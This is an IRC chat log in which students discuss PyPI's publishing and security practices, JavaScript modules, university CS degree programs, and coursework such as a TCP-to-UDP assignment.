[2015-01-20T22:46:51-0500] <alokpathy> s9 am i
[2015-01-20T22:48:00-0500] <+hardmath123> so guys, i hate pypi.
[2015-01-20T22:48:05-0500] <nezorg> why?
[2015-01-20T22:48:24-0500] <+hardmath123> it's yucky
[2015-01-20T22:48:34-0500] <+hardmath123> takes a lot of work to publish
[2015-01-20T22:48:41-0500] <+hardmath123> the site seems insecure and unprofessional
[2015-01-20T22:49:03-0500] <+hardmath123> they make you sign stuff that says
[2015-01-20T22:49:04-0500] <bob_twinkles> yeah but it works
[2015-01-20T22:49:07-0500] <bob_twinkles> which is a major +1
[2015-01-20T22:49:15-0500] <+hardmath123>  "if I am subject to United States law, I represent and warrant that I have obtained the proper governmental authorization for the
[2015-01-20T22:49:17-0500] <+hardmath123>  export of the content I upload"
[2015-01-20T22:49:24-0500] <+hardmath123> and
[2015-01-20T22:49:26-0500] <+hardmath123> "The PSF is free to use or disseminate any content that I upload on an unrestricted basis for any purpose. In particular, the PSF and
[2015-01-20T22:49:28-0500] <+hardmath123> all other users of the web site are granted an irrevocable, worldwide, royalty-free, nonexclusive license to reproduce, distribute,
[2015-01-20T22:49:30-0500] <+hardmath123> transmit, display, perform, and publish the content, including in digital form."  
[2015-01-20T22:49:43-0500] <+hardmath123> also, by default, they send sensitive data over plaintext, mention this in the docs, and haven't fixed it yet
[2015-01-20T22:49:47-0500] <bob_twinkles> 1) is 'cause US crypto export laws are stupiddumb
[2015-01-20T22:49:54-0500] <+hardmath123> they tell you not to reuse passwords. that might mean they aren't salting.
[2015-01-20T22:50:04-0500] <+hardmath123> i would totally not be surprised if they weren't salting
[2015-01-20T22:50:12-0500] <+hardmath123> their confirmation email is "cheeseshop@python.org"  
[2015-01-20T22:50:16-0500] <bob_twinkles> 2) is basically just "this code us under a FOSS liscense"
[2015-01-20T22:50:22-0500] <bob_twinkles> and I'm pretty sure they salt passwords
[2015-01-20T22:50:31-0500] <bob_twinkles> not resusing passwords is just "don't be a dumbass" level security
[2015-01-20T22:50:32-0500] <+hardmath123> which is lame and unprofessional
[2015-01-20T22:50:53-0500] <+hardmath123> they keep telling you to push to a test server, which is completely unnecessary.
[2015-01-20T22:51:18-0500] <bob_twinkles> why would that be unnecessary
[2015-01-20T22:51:19-0500] <+hardmath123> they don't actually host package tgzs, so they're essentially a repository that converts name+version <=> URL
[2015-01-20T22:52:12-0500] <bob_twinkles> a damn useful one
[2015-01-20T22:53:07-0500] <nezorg> hardmath123: they do salt: https://bitbucket.org/pypa/pypi/src/b5e63086a537064abf64bf959a285b4472aaccdf/store.py?at=default#cl-1530
[2015-01-20T22:53:14-0500] <nezorg> (if you look at where that's defined they're using passlib0
[2015-01-20T22:53:15-0500] <nezorg> *)
[2015-01-20T22:53:48-0500] <+hardmath123> ok, fine, i concede that particular one. i still don't like being explicitly told to not reuse passwords.
[2015-01-20T22:54:05-0500] <+hardmath123> and then "classifiers"
[2015-01-20T22:54:15-0500] <+hardmath123> i see very little scope for them being used
[2015-01-20T22:54:22-0500] <nezorg> cheeseshop is a monty python reference https://wiki.python.org/moin/CheeseShop
[2015-01-20T22:54:33-0500] <nezorg> (sort of)
[2015-01-20T22:57:17-0500] <nezorg> that reminds me
[2015-01-20T22:57:25-0500] <nezorg> I should see monty python live (mostly)
[2015-01-20T22:59:10-0500] <+hardmath123> also
[2015-01-20T22:59:17-0500] <+hardmath123> they keep trying to convince me to use openid
[2015-01-20T22:59:21-0500] <+hardmath123> which is being deprecated by google
[2015-01-20T22:59:38-0500] <bob_twinkles> which is a stupiddumb decision IMHO
[2015-01-20T22:59:50-0500] <bob_twinkles> maybe they have a good reason for it
[2015-01-20T22:59:57-0500] <bob_twinkles> but openid was useful
[2015-01-20T23:01:38-0500] <nezorg> apparently they're just migrating to openid connect
[2015-01-20T23:01:48-0500] <nezorg> which is oauth2a + some stuff
[2015-01-20T23:02:02-0500] <+hardmath123> meh
[2015-01-20T23:02:07-0500] <+hardmath123> in any case
[2015-01-20T23:02:10-0500] <+hardmath123> npm was a lot easier
[2015-01-20T23:02:15-0500] <+hardmath123> and a lot nicer
[2015-01-20T23:02:34-0500] <bob_twinkles> but also it was node
[2015-01-20T23:02:42-0500] <+hardmath123> which i don't mind
[2015-01-20T23:02:45-0500] <nezorg> it was javascript!
[2015-01-20T23:02:48-0500] <+hardmath123> node's module architecture is awesome.
[2015-01-20T23:02:52-0500] <nezorg> wat
[2015-01-20T23:02:56-0500] <+hardmath123> yes.
[2015-01-20T23:03:00-0500] <+hardmath123> the language has its flaws
[2015-01-20T23:03:05-0500] <+hardmath123> but modules is one thing they aced.
[2015-01-20T23:03:27-0500] <+hardmath123> for a functional/prototypical-oop language, the whole require() thing is perfect.
[2015-01-20T23:04:32-0500] <nezorg> watwatwat
[2015-01-20T23:05:46-0500] <+hardmath123> JacobEdelman: back me up here?
[2015-01-20T23:06:13-0500] <bob_twinkles> I'm not sure JacobEdelman is a reliable source for language best practices
[2015-01-20T23:06:27-0500] <bob_twinkles> we only just convinced him that whitespace improves code readability
[2015-01-20T23:07:03-0500] <nezorg> hoon is best language
[2015-01-20T23:07:23-0500] <+hardmath123> yes but it's useful to have another voice backing you up when you're trying to make a point about programming languages
[2015-01-20T23:07:25-0500] <+hardmath123> :P
[2015-01-20T23:07:34-0500] <+hardmath123> or, in this case, module system
[2015-01-20T23:07:44-0500] <nezorg> https://github.com/urbit/sample-apps/blob/master/todo/app/todo/core.hook isn't this wonderful
[2015-01-20T23:08:06-0500] <bob_twinkles> I personally believe that the C/C++ module system is the best that's ever been invented and we should have stopped while we were ahead /s
[2015-01-20T23:08:34-0500] <nezorg> bob_twinkles: nah man
[2015-01-20T23:08:38-0500] <nezorg> you should see x86 asm's
[2015-01-20T23:08:53-0500] <bob_twinkles> true
[2015-01-20T23:24:11-0500] <LittleBobbyTables> I love the whole six*nine=42 thing
[2015-01-20T23:28:14-0500] <+Tamini> ooh
[2015-01-20T23:28:17-0500] <+Tamini> hitchhiker's guide
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[2015-01-20T23:49:07-0500] <@awe> hardmath123: but the value of each voice is not necessarily equal.
[2015-01-20T23:49:14-0500] <@awe> hardmath123: having bob_twinkles back you up is invaluable
[2015-01-20T23:49:24-0500] <@awe> hardmath123: having JacobEdelman back you up is not so much.
[2015-01-20T23:52:23-0500] <Pharyngeal> awe: How are you
[2015-01-20T23:52:35-0500] <@awe> Pretty good. Seriously considering buying Blizzard's new game.
[2015-01-20T23:52:45-0500] <@awe> Well, beta access to it.
[2015-01-20T23:53:16-0500] <@awe> I was somewhat saddened that I did not get to meet you at PennApps though, Pharyngeal.
[2015-01-20T23:54:04-0500] <Pharyngeal> Same! I had student government meetings that lasted all day Saturday and Sunday, along with studying for an exam I had today
[2015-01-20T23:54:07-0500] <Pharyngeal> It was a rough weekend
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[2015-01-20T23:55:00-0500] <@awe> That's unfortunate.
[2015-01-20T23:55:15-0500] <Pharyngeal> Definitely was. I didn't get to participate in PennApps either =/
[2015-01-20T23:55:41-0500] <@awe> Did you see our project?
[2015-01-20T23:55:46-0500] <@awe> It was linked here a few times.
[2015-01-20T23:55:52-0500] <Pharyngeal> I think I found a link through the other site
[2015-01-20T23:55:59-0500] <Pharyngeal> The searching for things in videos?
[2015-01-20T23:56:07-0500] <@awe> Yeah.
[2015-01-20T23:58:27-0500] <@awe> It wasn't very interesting to implement, but it was nice getting to be with alokpathy and JacobEdelman since I haven't seen them in a good while.
[2015-01-20T23:58:33-0500] <@awe> And I got to meet Hyper.
[2015-01-20T23:59:10-0500] <alokpathy> awe: <3
[2015-01-20T23:59:35-0500] <Pharyngeal> Who is Hyper?
[2015-01-20T23:59:40-0500] <Hyper> I am me
[2015-01-20T23:59:41-0500] <Hyper> <3
[2015-01-20T23:59:42-0500] <Pharyngeal> Don't think I've ever spoken with Hyper 
[2015-01-21T00:00:03-0500] <Hyper> I doubt you have
[2015-01-21T00:00:56-0500] • Pharyngeal: says hello
[2015-01-21T00:01:12-0500] <Hyper> ghi
[2015-01-21T00:01:13-0500] <@awe> Hyper is cool.
[2015-01-21T00:01:13-0500] <Hyper> hi
[2015-01-21T00:01:14-0500] <@awe> He does D.
[2015-01-21T00:01:17-0500] <Hyper> ;)
[2015-01-21T00:01:21-0500] <@awe> And he bashes on JS with me.
[2015-01-21T00:01:24-0500] <Pharyngeal> Like, the language?
[2015-01-21T00:01:26-0500] <@awe> Yes.
[2015-01-21T00:01:39-0500] <Pharyngeal> cool
[2015-01-21T00:02:42-0500] <Hyper> I like that that's my defining trait
[2015-01-21T00:02:47-0500] <Hyper> "He uses language X"
[2015-01-21T00:04:24-0500] <@awe> Hyper: it's not your defining trait, but it was the first thing I learned about you
[2015-01-21T00:04:28-0500] <@awe> Hyper: and it was enough to make me like you.
[2015-01-21T00:04:35-0500] <Hyper> heh
[2015-01-21T00:04:40-0500] • awe: shakes fist in the air angrily at JavaScript.
[2015-01-21T00:04:59-0500] <Pharyngeal> Hyper: How did you find Pdgn
[2015-01-21T00:05:12-0500] <@awe> He knows JacobEdelman.
[2015-01-21T00:05:22-0500] <Hyper> JacobEdelman was at my place for thanksgiivng and was like "YO GET ON THIS IRC NETWORK + CHANNEL NOW"
[2015-01-21T00:05:28-0500] <Hyper> except he said it nothing like that
[2015-01-21T00:05:33-0500] <Hyper> because that would be weird
[2015-01-21T00:05:38-0500] <Hyper> and probably terrifying
[2015-01-21T00:05:38-0500] <Pharyngeal> Oh okay
[2015-01-21T00:05:39-0500] <@awe> I bet those were his words exactly.
[2015-01-21T00:05:42-0500] <@awe> How is "+" pronounced?
[2015-01-21T00:05:50-0500] <Pharyngeal> plus?
[2015-01-21T00:05:52-0500] <Hyper> "and"
[2015-01-21T00:05:58-0500] <Pharyngeal> oh
[2015-01-21T00:06:02-0500] <@awe> See, it's not so clear-cut.
[2015-01-21T00:06:04-0500] <Pharyngeal> context
[2015-01-21T00:06:12-0500] <Pharyngeal> But, there is a & key
[2015-01-21T00:06:20-0500] <Hyper> I always miss it :)
[2015-01-21T00:06:22-0500] <Pharyngeal> Whereas there is no easily handwritten &
[2015-01-21T00:06:27-0500] <Hyper> indexing operators are really hard
[2015-01-21T00:06:30-0500] <Hyper> erm
[2015-01-21T00:06:32-0500] <Pharyngeal> Also, I can't draw infinity.
[2015-01-21T00:06:38-0500] <Hyper> addressing
[2015-01-21T00:06:43-0500] <Hyper> addressing operators
[2015-01-21T00:07:56-0500] <Hyper> basically I can't C without at least 5 tries at hitting the & and * keys
[2015-01-21T00:08:38-0500] <Pharyngeal> My first assignment for this networking class is converting a TCP program to UDP
[2015-01-21T00:08:39-0500] <Pharyngeal> woo
[2015-01-21T00:08:44-0500] <alokpathy> xDDD'
[2015-01-21T00:08:48-0500] <Hyper> D:
[2015-01-21T00:09:00-0500] <nezorg> ...wat?
[2015-01-21T00:09:01-0500] <nezorg> like
[2015-01-21T00:09:08-0500] <nezorg> implementing integrity checks?
[2015-01-21T00:09:10-0500] <nezorg> and ACKs?
[2015-01-21T00:09:14-0500] <Hyper> sounds like it
[2015-01-21T00:09:15-0500] <nezorg> or just ignoring all of UDP
[2015-01-21T00:09:16-0500] <Pharyngeal> No
[2015-01-21T00:09:30-0500] <Pharyngeal> Like, just making it use UDP
[2015-01-21T00:09:33-0500] <Hyper> oh
[2015-01-21T00:09:33-0500] <Hyper> wow
[2015-01-21T00:09:34-0500] <Hyper> ok
[2015-01-21T00:09:38-0500] <nezorg> ...wat
[2015-01-21T00:09:41-0500] <Pharyngeal> Don't need to implement any guarantees. 
[2015-01-21T00:09:45-0500] <nezorg> that's like
[2015-01-21T00:09:45-0500] <Hyper> 10/10
[2015-01-21T00:09:51-0500] <nezorg> changing the socket call
[2015-01-21T00:09:56-0500] <Pharyngeal> Pretty much
[2015-01-21T00:10:04-0500] <nezorg> changing the send calls
[2015-01-21T00:10:06-0500] <Hyper> incredible
[2015-01-21T00:10:08-0500] <nezorg> and changing recv to recvfrom
[2015-01-21T00:10:32-0500] <nezorg> easy grade padding amirite
[2015-01-21T00:13:45-0500] <Pharyngeal> nezorg: I think they just want to make sure idiots find another course.
[2015-01-21T00:13:52-0500] <Pharyngeal> Or, people who have no idea how C works.
[2015-01-21T00:14:02-0500] <nezorg> how2 c amirite
[2015-01-21T00:14:07-0500] <Pharyngeal> Also, I'm in one class on software engineering
[2015-01-21T00:14:14-0500] <Pharyngeal> And, we've only had one session so far
[2015-01-21T00:14:20-0500] <@awe> I'm in a systems course that's going to be boring as hell, I can feel it.
[2015-01-21T00:14:27-0500] <Pharyngeal> And, someone messaged me today asking if I knew of a good tutor.
[2015-01-21T00:14:29-0500] <nezorg> "software engineering" just seems like a really strange uni course
[2015-01-21T00:14:29-0500] <@awe> But I'm also in a probability course that should be so fun.
[2015-01-21T00:14:34-0500] <nezorg> Pharyngeal: waaaaaaat
[2015-01-21T00:14:43-0500] <nezorg> awe: what defn of systems?
[2015-01-21T00:14:48-0500] <@awe> It's a C course.
[2015-01-21T00:15:02-0500] <@awe> The software engineering course here is apparently functional languages.
[2015-01-21T00:15:06-0500] <Pharyngeal> nezorg: If you need a tutor after the first session, you are probably unprepared. 
[2015-01-21T00:15:10-0500] <@awe> According to the only other CS student I interact with.
[2015-01-21T00:15:18-0500] <@awe> But I don't know if that's right.
[2015-01-21T00:15:19-0500] <@awe> I hope it is.
[2015-01-21T00:15:23-0500] <Pharyngeal> Our second intro-level starts with OCaml
[2015-01-21T00:15:28-0500] <@awe> OCaml is the shit.
[2015-01-21T00:15:32-0500] <nezorg> ocaml's pretty nice, or so I've heard
[2015-01-21T00:15:35-0500] <nezorg> cmu used it for bap
[2015-01-21T00:15:49-0500] <Pharyngeal> People try to do imperative in ocaml, and I make fun of them
[2015-01-21T00:15:52-0500] <nezorg> what do you learn in a "software engineering" course anyhow?
[2015-01-21T00:16:02-0500] <Pharyngeal> er, procedural 
[2015-01-21T00:16:08-0500] <Pharyngeal> nezorg: Like, engineering principles
[2015-01-21T00:16:13-0500] <@awe> Rust was written in OCaml. ^^
[2015-01-21T00:16:18-0500] <@awe> Before, of course, it was rewritten in Rust.
[2015-01-21T00:16:20-0500] <nezorg> like, "here's what git is and how to use it"?
[2015-01-21T00:16:37-0500] <@awe> No, like "This is a design methodology."
[2015-01-21T00:16:37-0500] <Pharyngeal> nezorg: Heh, nope (although, I feel as if many people would benefit from that)
[2015-01-21T00:16:42-0500] <Pharyngeal> Agile
[2015-01-21T00:16:43-0500] <Pharyngeal> etc
[2015-01-21T00:16:43-0500] <@awe> A git course would be more useful.
[2015-01-21T00:16:47-0500] <Pharyngeal> Testing
[2015-01-21T00:16:50-0500] <nezorg> huh
[2015-01-21T00:16:50-0500] <Pharyngeal> Agreed.
[2015-01-21T00:17:01-0500] <nezorg> git has a reasonably good manual though
[2015-01-21T00:17:06-0500] <@awe> Software engineering is this weird thing that they use to shove corporate bullshit down your throat.
[2015-01-21T00:17:18-0500] <Pharyngeal> yep
[2015-01-21T00:17:19-0500] <nezorg> sounds fun
[2015-01-21T00:17:19-0500] <@awe> It's basically the way they try to make CS a vocational degree, when ultimately it's not.
[2015-01-21T00:17:36-0500] <Pharyngeal> nezorg: Students don't get credit for reading manuals, so why would they read manuals
[2015-01-21T00:17:55-0500] <@awe> ^^^
[2015-01-21T00:18:05-0500] <nezorg> as I've learned many times, life is pain without version control .-.
[2015-01-21T00:18:13-0500] <@awe> nezorg: remember, most of the people who will be your "peers" are taking the degree because they want to make $$$.
[2015-01-21T00:18:16-0500] <nezorg> "ah fuck why didn't I back up my code"
[2015-01-21T00:18:29-0500] <nezorg> awe: probably depends on the university, no?
[2015-01-21T00:18:32-0500] <@awe> There was this kid behind me saying that he can't wait until he can move into management in the career world and then never have to program again.
[2015-01-21T00:18:33-0500] <@awe> Not really.
[2015-01-21T00:18:43-0500] <Hyper> 60% of my class is CS majors :/
[2015-01-21T00:18:49-0500] <Hyper> very few of them know jack shit
[2015-01-21T00:18:51-0500] <Pharyngeal> I have peers in their senior year, who have no idea how to use version control, have meh proficiency in java, don't know how to use the *nix command line, and have no idea about security.
[2015-01-21T00:19:00-0500] <Hyper> erm
[2015-01-21T00:19:06-0500] <Hyper> many of them know jack shit
[2015-01-21T00:19:13-0500] <Hyper> I'm saying they don't know things
[2015-01-21T00:19:13-0500] <@awe> nezorg: You just got the opinion of three people who pretty much cover the spectrum of desirable CS schools.
[2015-01-21T00:19:23-0500] <nezorg> where do yall go?
[2015-01-21T00:19:26-0500] <Pharyngeal> "Can I work for the googlez yet"
[2015-01-21T00:19:27-0500] <nezorg> I know awe goes to umass
[2015-01-21T00:19:28-0500] <Hyper> NYU poly
[2015-01-21T00:19:32-0500] <Pharyngeal> Penn
[2015-01-21T00:19:33-0500] <nezorg> ah, cool
[2015-01-21T00:19:35-0500] <@awe> See?
[2015-01-21T00:19:39-0500] <nezorg> Hyper: why didn't I meet you at csaw :(
[2015-01-21T00:19:45-0500] <nezorg> maybe you weren't on
[2015-01-21T00:19:47-0500] <Hyper> because I wasn't on pdgn :)
[2015-01-21T00:19:48-0500] <@awe> high-ranking public, high-ranking private, world-class institution
[2015-01-21T00:20:04-0500] <@awe> Pharyngeal: my probability professor got his PhD at Penn.
[2015-01-21T00:20:08-0500] <Hyper> and i'm not part of the cybersec guys
[2015-01-21T00:20:13-0500] <nezorg> yeah, but still
[2015-01-21T00:20:20-0500] <Pharyngeal> Even the people who are viewed as "good" at CS here have no idea how to do things
[2015-01-21T00:20:27-0500] <Pharyngeal> Like, mainstream good
[2015-01-21T00:20:31-0500] <Pharyngeal> Which means apps and shit
[2015-01-21T00:20:33-0500] <Hyper> Pharyngeal: what year are you?
[2015-01-21T00:20:57-0500] <Hyper> also why didn't you say hi while we were all at pennapps q.q
[2015-01-21T00:21:00-0500] <nezorg> Pharyngeal: define "idea how to do things"
[2015-01-21T00:21:01-0500] <Pharyngeal> I'm a Junior 
[2015-01-21T00:21:03-0500] <LittleBobbyTables> nezorg: a coworker of mine had the "why didn't i back up my code" thing happen
[2015-01-21T00:21:05-0500] <@awe> Hyper: he was busy, unfortunately.
[2015-01-21T00:21:07-0500] <nezorg> I don't know how to do things, generally
[2015-01-21T00:21:08-0500] <Hyper> :(
[2015-01-21T00:21:13-0500] <Pharyngeal> Hyper: As I mentioned before, I had a shit weekend =/
[2015-01-21T00:21:16-0500] <@awe> nezorg: they are only capable of making shitty iOS and Android apps.
[2015-01-21T00:21:17-0500] <Hyper> aww
[2015-01-21T00:21:19-0500] <LittleBobbyTables> He got excited something worked, so he was like "rm codebad *"
[2015-01-21T00:21:19-0500] <Hyper> I didn't see
[2015-01-21T00:21:22-0500] <@awe> nezorg: or making websites using JS.
[2015-01-21T00:21:22-0500] <Hyper> sorry about that
[2015-01-21T00:21:37-0500] <Pharyngeal> They're not just shitty, they're disfunctional. 
[2015-01-21T00:21:39-0500] <nezorg> awe: I too can make shitty ios and android apps
[2015-01-21T00:21:49-0500] <Hyper> awe: omg we never showed you our easter egg
[2015-01-21T00:21:54-0500] <nezorg> LittleBobbyTables: yeaaaahhh (though I've done that plenty of times *inside* a git repo >_>)
[2015-01-21T00:21:58-0500] <Hyper> for our pennapps thing
[2015-01-21T00:21:59-0500] <@awe> Honestly, I probably hate JS in large part because the language sucks, and also in large part because of the people who DO JS.
[2015-01-21T00:22:00-0500] <Hyper> dammit
[2015-01-21T00:22:00-0500] <Pharyngeal> Currently, I'm at odds with some people in student government, because they're trying to push the release of an app that I would consider pre-alpha
[2015-01-21T00:22:06-0500] <LittleBobbyTables> awe
[2015-01-21T00:22:09-0500] <LittleBobbyTables> Did you fix ddg?
[2015-01-21T00:22:11-0500] <nezorg> awe: es6 is considerably less bad
[2015-01-21T00:22:17-0500] <nezorg> it fixes most of my complaints
[2015-01-21T00:22:22-0500] <@awe> nezorg: Yeah, I know it's improved.
[2015-01-21T00:22:23-0500] <Hyper> es6 has a lot of really sexy features
[2015-01-21T00:22:31-0500] <@awe> nezorg: But it doesn't fix the problem of JS developers.
[2015-01-21T00:22:41-0500] <nezorg> there's this post on hn right now: http://prog21.dadgum.com/203.html
[2015-01-21T00:22:47-0500] <nezorg> which I would definitely agree with
[2015-01-21T00:22:52-0500] <@awe> LittleBobbyTables: I'll add @ddgh or something
[2015-01-21T00:22:59-0500] <nezorg> even if javascript's not a great language... it's a really useful one
[2015-01-21T00:23:00-0500] <@awe> LittleBobbyTables: or maybe have it give both links?
[2015-01-21T00:23:19-0500] <LittleBobbyTables> What's bad about the html one?
[2015-01-21T00:23:39-0500] <Pharyngeal> Anyway, so many CIS majors here are idiots.
[2015-01-21T00:23:47-0500] <nezorg> CIS?
[2015-01-21T00:23:47-0500] <Pharyngeal> Or, have other motivations. 
[2015-01-21T00:23:50-0500] <Pharyngeal> CIS = CS
[2015-01-21T00:23:59-0500] <nezorg> computer-and-information-science?
[2015-01-21T00:24:08-0500] <@awe> LittleBobbyTables: I don't like it.
[2015-01-21T00:24:15-0500] <@awe> Computer Information Science, usually.
[2015-01-21T00:24:19-0500] <LittleBobbyTables> lol
[2015-01-21T00:24:22-0500] <@awe> Pharyngeal: I'm doing the materials for CIS 194
[2015-01-21T00:24:30-0500] <@awe> My dad's degree is in CIS.
[2015-01-21T00:24:35-0500] <Pharyngeal> Oh? and Oh?
[2015-01-21T00:24:39-0500] <Pharyngeal> From where?
[2015-01-21T00:24:42-0500] <@awe> Ithaca.
[2015-01-21T00:24:42-0500] <nezorg> my dad's degree is in ECE!
[2015-01-21T00:24:46-0500] <Pharyngeal> Cool
[2015-01-21T00:24:55-0500] <@awe> CIS 194 is available freely online.
[2015-01-21T00:24:58-0500] <Pharyngeal> If I did it again, I'd probably go CompE
[2015-01-21T00:25:15-0500] <@awe> And it seems to be a better Haskell resource than LYAH which really only taught me syntax.
[2015-01-21T00:25:25-0500] <@awe> Pharyngeal: well, you want to work in industry, right?
[2015-01-21T00:25:30-0500] <nezorg> Pharyngeal: the problem I have with it is that a lot of programs focus a lot more on the EE than the CS
[2015-01-21T00:25:39-0500] <@awe> ^
[2015-01-21T00:25:40-0500] <@awe> THat is true.
[2015-01-21T00:25:50-0500] <Pharyngeal> awe: Not sure, I might do something completely different for a while
[2015-01-21T00:25:53-0500] <nezorg> (although I'm taking an ECE course right now :P)
[2015-01-21T00:26:07-0500] <Pharyngeal> nezorg: There is minimal EE in Penn's CIS, which makes sense, but is undesirable imho
[2015-01-21T00:26:38-0500] <nezorg> well, I wouldn't expect much EE in CS
[2015-01-21T00:26:55-0500] <nezorg> what I would expect is more CS in ECE
[2015-01-21T00:27:05-0500] <Pharyngeal> Sure
[2015-01-21T00:27:13-0500] <Pharyngeal> Here, there is a decent amount of CS in CompE
[2015-01-21T00:28:22-0500] <@awe> Well, it depends on what you assume the purpose for CS is.
[2015-01-21T00:28:40-0500] <@awe> I wouldn't want any EE, really.
[2015-01-21T00:28:54-0500] <@awe> But that's because I consider CS to be a theoretical pursuit.
[2015-01-21T00:29:22-0500] <nezorg> well, we're not talking about CS :P
[2015-01-21T00:29:25-0500] <nezorg> we're talking about ECE
[2015-01-21T00:29:30-0500] <@awe> [00:26:07]  <Pharyngeal>	nezorg: There is minimal EE in Penn's CIS, which makes sense, but is undesirable imho
[2015-01-21T00:29:33-0500] <@awe> I was referring to that.
[2015-01-21T00:30:01-0500] <@awe> I think ECE should be like 60/40 EE/CS.
[2015-01-21T00:30:16-0500] <Pharyngeal> I think that our systems class should be split into a circuits class, and a hardware/software interface class
[2015-01-21T00:30:48-0500] <@awe> At my school, ECE is basically just EE with a couple CS courses.
[2015-01-21T00:31:28-0500] <Pharyngeal> It's a good mix here
[2015-01-21T00:31:34-0500] <nezorg> so like at berkeley
[2015-01-21T00:31:58-0500] <nezorg> they have the EECS program, which gives a bachelor of science
[2015-01-21T00:32:20-0500] <nezorg> then they also have the CS program, which gives a bachelor of arts
[2015-01-21T00:32:30-0500] <nezorg> the CS is generally regarded to be less rigorous
[2015-01-21T00:32:37-0500] <@awe> We have two CS programs, a BA program and a BS program.
[2015-01-21T00:32:49-0500] <alokpathy> Isn't that the case for most colleges?
[2015-01-21T00:32:49-0500] <@awe> The only difference is whether you take science courses or language courses.
[2015-01-21T00:33:01-0500] <Pharyngeal> We have BSE and BAS, the difference is a few higher level CS courses
[2015-01-21T00:33:02-0500] <@awe> A number of colleges only offer BS.
[2015-01-21T00:33:18-0500] <alokpathy> From what I've seen, most offer both BA and BS.
[2015-01-21T00:33:23-0500] <alokpathy> A few do only offer BS, yeah.
[2015-01-21T00:33:32-0500] <nezorg> alokpathy: Pharyngeal: in EECS you take EE classes as opposed to CS where you take art/math classes
[2015-01-21T00:33:34-0500] <@awe> Oh, actually, the BA is decidedly less rigorous here.
[2015-01-21T00:33:39-0500] <nezorg> I want to do both though :(
[2015-01-21T00:33:56-0500] <nezorg> I like math
[2015-01-21T00:33:59-0500] <nezorg> and I like CS
[2015-01-21T00:34:00-0500] <nezorg> and I like EE
[2015-01-21T00:34:08-0500] <alokpathy> Double major :D
[2015-01-21T00:34:09-0500] <@awe> Instead of picking an upper-level track, you just take random electives.
[2015-01-21T00:34:15-0500] <Pharyngeal> They're too similar here
[2015-01-21T00:34:24-0500] <Pharyngeal> http://www.cis.upenn.edu/current-students/undergraduate/csci/req13.php vs http://www.cis.upenn.edu/current-students/undergraduate/ascs/req12.php
[2015-01-21T00:34:24-0500] <@awe> And instead of taking a math path, you just take three math courses
[2015-01-21T00:34:27-0500] <@awe> https://www.cs.umass.edu/ugrad-education/details-ba-requirements
[2015-01-21T00:34:48-0500] <@awe> Oh, and you can skip one of the core classes.
[2015-01-21T00:35:06-0500] <Pharyngeal> BAS is more for double majors
[2015-01-21T00:35:11-0500] <@awe> https://www.cs.umass.edu/ugrad-education/details-bs-requirements
[2015-01-21T00:35:26-0500] <assface> clearly the gypsies are at fault
[2015-01-21T00:35:33-0500] <@awe> Yeah, the BA is a lot of BS.
[2015-01-21T00:36:07-0500] <Pharyngeal> I am so unmotivated to do this TCP to UDP thing
[2015-01-21T00:36:48-0500] <assface> Pharyngeal: which is...?
[2015-01-21T00:37:05-0500] <Pharyngeal> assface: A homework assignment to convert a TCP program to a UDP program
[2015-01-21T00:37:08-0500] <Pharyngeal> 9_9
[2015-01-21T00:37:34-0500] <assface> does it have to have the same reliability?
[2015-01-21T00:37:53-0500] <Pharyngeal> nope
[2015-01-21T00:38:18-0500] <nezorg> assface: I was wat as well
[2015-01-21T00:38:21-0500] <@awe> Blegh, the software methodology course that I was told is functional is in Scala.
[2015-01-21T00:38:38-0500] <Pharyngeal> That's still mostly functional
[2015-01-21T00:38:41-0500] <Pharyngeal> Or, can me
[2015-01-21T00:38:42-0500] <Pharyngeal> be*
[2015-01-21T00:38:46-0500] <assface> then make a function called send_UDP that takes the same parameters as the TCP call and sends it as UDP
[2015-01-21T00:39:11-0500] <@awe> Well, yes.
[2015-01-21T00:39:13-0500] <@awe> I know.
[2015-01-21T00:39:23-0500] <@awe> It's just that it has to be like... the worst option.
[2015-01-21T00:39:28-0500] <Pharyngeal> :P I'm not insulting your intelligence 
[2015-01-21T00:39:31-0500] <@awe> Scala has some gnarly syntax.
[2015-01-21T00:39:43-0500] <Pharyngeal> Meh, using Python functionally would be pretty bad
[2015-01-21T00:39:52-0500] <@awe> This is also true.
[2015-01-21T00:40:00-0500] <assface> it could be worse
[2015-01-21T00:40:00-0500] <@awe> I'm just not a big fan of Scala because it's such a huge mess
[2015-01-21T00:40:04-0500] <assface> it could be in c#
[2015-01-21T00:40:04-0500] <Pharyngeal> Yeah
[2015-01-21T00:40:12-0500] <nezorg> awe: yeah, it has too many features imo
[2015-01-21T00:40:13-0500] <Pharyngeal> Heh, F#
[2015-01-21T00:40:18-0500] <@awe> F# is neat.
[2015-01-21T00:40:24-0500] <Pharyngeal> Never used it
[2015-01-21T00:40:28-0500] <Pharyngeal> Not interested, tbh
[2015-01-21T00:40:32-0500] <@awe> My friend uses it exclusively.
[2015-01-21T00:40:35-0500] <Pharyngeal> Oh
[2015-01-21T00:40:54-0500] <@awe> Huh. This Scala course involves peer-reviews.
[2015-01-21T00:40:56-0500] <assface> am I hearing any love for java++?
[2015-01-21T00:41:12-0500] <Pharyngeal> Heh, peer reviews.
[2015-01-21T00:41:44-0500] <@awe> I'm going to enjoy thrashing people.
[2015-01-21T00:41:59-0500] <Hyper> awe: pls no
[2015-01-21T00:42:01-0500] <Hyper> pls be nice
[2015-01-21T00:42:02-0500] <Hyper> pls
[2015-01-21T00:42:04-0500] <@awe> y?
[2015-01-21T00:42:13-0500] <Hyper> because otherwise people will hate you :)
[2015-01-21T00:42:16-0500] • Hyper: has experience
[2015-01-21T00:42:32-0500] <@awe> I know.
[2015-01-21T00:42:35-0500] <Hyper> :)
[2015-01-21T00:42:40-0500] <@awe> But their code is going to be disgusting.
[2015-01-21T00:42:53-0500] <Hyper> hehehehehe
[2015-01-21T00:42:58-0500] <assface> how do you know this?
[2015-01-21T00:43:05-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-21T00:43:14-0500] <@awe> Because they're all terribly incompetent?
[2015-01-21T00:43:27-0500] <Hyper> In my softdev class in high school when we were doing peer-review type stuff I took off 10 points for each obvious SQL injection I could find
[2015-01-21T00:43:30-0500] <Pharyngeal> Yes^
[2015-01-21T00:43:35-0500] <Pharyngeal> lmoa
[2015-01-21T00:43:37-0500] <Pharyngeal> lmao*
[2015-01-21T00:43:48-0500] <Pharyngeal> Hyper: Good!
[2015-01-21T00:43:48-0500] <@awe> Hyper: Average grade: 0%
[2015-01-21T00:43:51-0500] <Hyper> esp when the solution was "use prepeared statements"
[2015-01-21T00:44:02-0500] <Pharyngeal> Also, Hyper, you used SQL in high school softdev?
